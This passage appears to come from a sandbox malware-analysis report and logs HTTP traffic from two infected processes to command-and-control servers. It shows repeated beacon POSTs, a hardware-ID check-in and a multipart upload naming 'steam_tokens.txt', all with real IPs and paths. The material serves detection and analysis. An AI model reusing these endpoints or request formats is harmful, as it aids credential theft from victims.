r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:27.493072987 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49494	85.28.47.31	80	8052	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:27.489347935 CEST	561	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDGIJECGDGCBKECAKFBG Host: 85.28.47.31 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 33 30 31 30 66 66 31 62 34 63 64 65 36 34 63 30 66 36 35 34 32 33 38 31 65 61 36 39 65 61 38 33 61 36 33 35 65 63 39 37 36 65 66 61 36 66 62 39 66 39 34 34 38 66 37 66 35 35 65 39 37 38 35 34 30 63 39 32 61 61 33 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GDGIJECGDGCBKECAKFBGContent-Disposition: form-data; name="token"a3010ff1b4cde64c0f6542381ea69ea83a635ec976efa6fb9f9448f7f55e978540c92aa3------GDGIJECGDGCBKECAKFBGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GDGIJECGDGCBKECAKFBGContent-Disposition: form-data; name="file"------GDGIJECGDGCBKECAKFBG--
Jul 27, 2024 05:39:29.077924967 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 03:39:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 05:39:29.107490063 CEST	463	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECBAFCAAKJDHJKFIEBG Host: 85.28.47.31 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 33 30 31 30 66 66 31 62 34 63 64 65 36 34 63 30 66 36 35 34 32 33 38 31 65 61 36 39 65 61 38 33 61 36 33 35 65 63 39 37 36 65 66 61 36 66 62 39 66 39 34 34 38 66 37 66 35 35 65 39 37 38 35 34 30 63 39 32 61 61 33 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 2d 2d 0d 0a Data Ascii: ------IECBAFCAAKJDHJKFIEBGContent-Disposition: form-data; name="token"a3010ff1b4cde64c0f6542381ea69ea83a635ec976efa6fb9f9448f7f55e978540c92aa3------IECBAFCAAKJDHJKFIEBGContent-Disposition: form-data; name="message"files------IECBAFCAAKJDHJKFIEBG--
Jul 27, 2024 05:39:29.287801981 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 03:39:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 05:39:29.368253946 CEST	470	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIJKEBFBFHIJJKEHDHI Host: 85.28.47.31 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 33 30 31 30 66 66 31 62 34 63 64 65 36 34 63 30 66 36 35 34 32 33 38 31 65 61 36 39 65 61 38 33 61 36 33 35 65 63 39 37 36 65 66 61 36 66 62 39 66 39 34 34 38 66 37 66 35 35 65 39 37 38 35 34 30 63 39 32 61 61 33 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 2d 2d 0d 0a Data Ascii: ------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="token"a3010ff1b4cde64c0f6542381ea69ea83a635ec976efa6fb9f9448f7f55e978540c92aa3------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BFIJKEBFBFHIJJKEHDHI--
Jul 27, 2024 05:39:30.044133902 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 03:39:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49495	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:27.602787971 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:28.349770069 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:28.356503963 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:28.602109909 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49496	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:28.713417053 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:29.480830908 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:29.502029896 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:29.749181986 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49497	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:29.869323969 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:30.612427950 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:30.614609003 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:30.859791040 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49498	85.28.47.31	80	6704	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:30.327640057 CEST	86	OUT	GET / HTTP/1.1 Host: 85.28.47.31 Connection: Keep-Alive Cache-Control: no-cache
Jul 27, 2024 05:39:30.943873882 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 03:39:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 05:39:30.946250916 CEST	409	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGHIIJDGHCBFIECBKEGH Host: 85.28.47.31 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 38 39 37 46 39 41 35 35 33 43 36 32 35 30 37 32 38 36 39 35 38 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 2d 2d 0d 0a Data Ascii: ------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="hwid"5897F9A553C62507286958------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="build"sila------BGHIIJDGHCBFIECBKEGH--
Jul 27, 2024 05:39:31.132994890 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 03:39:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49501	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:30.995965958 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:31.766201019 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:31.978607893 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:32.229338884 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49503	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:32.411988974 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:33.136614084 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:33.138741016 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:33.384845018 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49508	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:33.649065018 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:34.384140968 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:34.462388039 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:34.706825972 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49511	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:34.822082996 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:35.560395002 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:35.561098099 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:35.813188076 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49513	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:35.933936119 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:36.679655075 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:36.723268032 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:36.969605923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49515	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:37.086466074 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:37.837116003 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
